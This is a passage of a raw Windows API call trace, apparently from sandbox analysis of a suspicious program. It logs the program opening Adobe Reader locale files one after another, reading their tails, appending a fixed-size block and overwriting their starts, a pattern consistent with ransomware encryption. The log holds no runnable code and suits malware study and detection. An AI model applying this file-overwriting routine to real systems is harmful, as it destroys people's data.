lpBuffer=0x2736c38*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.115] CloseHandle (hObject=0x168) returned 1 [0039.115] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\EScript.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\escript.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0039.115] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.116] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xa200 [0039.116] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.116] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.116] ReleaseMutex (hMutex=0x128) returned 1 [0039.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.ITA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0039.116] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.ITA", cchWideChar=11, lpMultiByteStr=0x1e6316c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.ITA", lpUsedDefaultChar=0x0) returned 11 [0039.116] ReadFile (in: hFile=0x168, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0039.127] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x9200 [0039.127] ReadFile (in: hFile=0x168, lpBuffer=0x2769058, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2769058*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.160] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x9200 [0039.160] WriteFile (in: hFile=0x168, lpBuffer=0x2766028*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2766028*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.160] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0039.160] WriteFile (in: hFile=0x168, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.160] CloseHandle (hObject=0x168) returned 1 [0039.160] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Search.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\search.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0039.161] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.161] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x6200 [0039.161] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.161] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.161] ReleaseMutex (hMutex=0x128) returned 1 [0039.161] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.ITA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0039.161] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.ITA", cchWideChar=10, lpMultiByteStr=0x1e6326c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.ITA", lpUsedDefaultChar=0x0) returned 10 [0039.161] ReadFile (in: hFile=0x168, lpBuffer=0x2769058, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2769058*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.163] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x5200 [0039.163] ReadFile (in: hFile=0x168, lpBuffer=0x2512ca8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.164] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x5200 [0039.164] WriteFile (in: hFile=0x168, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.164] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0039.164] WriteFile (in: hFile=0x168, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.164] CloseHandle (hObject=0x168) returned 1 [0039.165] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Annots.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\annots.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0039.165] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.165] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x56c00 [0039.165] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.165] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.165] ReleaseMutex (hMutex=0x128) returned 1 [0039.165] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.JPN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0039.165] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.JPN", cchWideChar=10, lpMultiByteStr=0x1e6320c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.JPN", lpUsedDefaultChar=0x0) returned 10 [0039.165] ReadFile (in: hFile=0x168, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x318f278*=0x8000, lpOverlapped=0x0) returned 1 [0039.169] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x55c00 [0039.169] ReadFile (in: hFile=0x168, lpBuffer=0x2512ca8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.195] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x55c00 [0039.195] WriteFile (in: hFile=0x168, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.196] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0039.196] WriteFile (in: hFile=0x168, lpBuffer=0x1de8de8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesWritten=0x318f28c*=0x8000, lpOverlapped=0x0) returned 1 [0039.196] CloseHandle (hObject=0x168) returned 1 [0039.198] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\pddom.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\pddom.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0039.198] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.198] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x2200 [0039.198] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.198] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.198] ReleaseMutex (hMutex=0x128) returned 1 [0039.198] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.JPN", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0039.198] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.JPN", cchWideChar=9, lpMultiByteStr=0x1e6312c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.JPN", lpUsedDefaultChar=0x0) returned 9 [0039.198] ReadFile (in: hFile=0x168, lpBuffer=0x2737c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.202] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x1200 [0039.202] ReadFile (in: hFile=0x168, lpBuffer=0x2737c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.208] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x1200 [0039.208] WriteFile (in: hFile=0x168, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.208] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0039.208] WriteFile (in: hFile=0x168, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.208] CloseHandle (hObject=0x168) returned 1 [0039.209] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Spelling.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\spelling.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0039.209] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.209] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x2200 [0039.209] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.209] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.209] ReleaseMutex (hMutex=0x128) returned 1 [0039.209] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.JPN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0039.209] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.JPN", cchWideChar=12, lpMultiByteStr=0x1e6326c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.JPN", lpUsedDefaultChar=0x0) returned 12 [0039.209] ReadFile (in: hFile=0x168, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.226] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x1200 [0039.226] ReadFile (in: hFile=0x168, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.244] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x1200 [0039.245] WriteFile (in: hFile=0x168, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.245] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0039.245] WriteFile (in: hFile=0x168, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.245] CloseHandle (hObject=0x168) returned 1 [0039.245] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\DVA.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\dva.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0039.245] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.245] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x3600 [0039.245] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.245] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.245] ReleaseMutex (hMutex=0x128) returned 1 [0039.246] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.KOR", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0039.246] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.KOR", cchWideChar=7, lpMultiByteStr=0x1e6aa14, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.KOR", lpUsedDefaultChar=0x0) returned 7 [0039.246] ReadFile (in: hFile=0x168, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.292] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x2600 [0039.293] ReadFile (in: hFile=0x168, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.310] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x2600 [0039.310] WriteFile (in: hFile=0x168, lpBuffer=0x2770358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.311] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0039.311] WriteFile (in: hFile=0x168, lpBuffer=0x2770358*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.311] CloseHandle (hObject=0x168) returned 1 [0039.311] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\reflow.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\reflow.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0039.311] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.311] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x1000 [0039.311] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.311] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.311] ReleaseMutex (hMutex=0x128) returned 1 [0039.311] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.KOR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0039.311] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.KOR", cchWideChar=10, lpMultiByteStr=0x1e6338c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.KOR", lpUsedDefaultChar=0x0) returned 10 [0039.311] ReadFile (in: hFile=0x168, lpBuffer=0x2736c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2736c38*, lpNumberOfBytesRead=0x318f2bc*=0x1000, lpOverlapped=0x0) returned 1 [0039.321] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0039.321] WriteFile (in: hFile=0x168, lpBuffer=0x2772388*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesWritten=0x318f2d0*=0x1588, lpOverlapped=0x0) returned 1 [0039.322] CloseHandle (hObject=0x168) returned 1 [0039.322] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Acroform.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\acroform.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0039.323] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.323] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x61e00 [0039.323] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0039.323] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.323] ReleaseMutex (hMutex=0x128) returned 1 [0039.323] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.NOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0039.323] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.NOR", cchWideChar=12, lpMultiByteStr=0x1e6322c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.NOR", lpUsedDefaultChar=0x0) returned 12 [0039.323] ReadFile (in: hFile=0x168, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x318f278*=0x8000, lpOverlapped=0x0) returned 1 [0039.344] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x60e00 [0039.344] ReadFile (in: hFile=0x168, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.360] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x60e00 [0039.360] WriteFile (in: hFile=0x168, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.361] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0039.361] WriteFile (in: hFile=0x168, lpBuffer=0x1de8de8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesWritten=0x318f28c*=0x8000, lpOverlapped=0x0) returned 1 [0039.361] CloseHandle (hObject=0x168) returned 1 [0039.361] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\makeaccessible.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\makeaccessible.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0039.361] SetFilePointer (in: hFile=0x168, 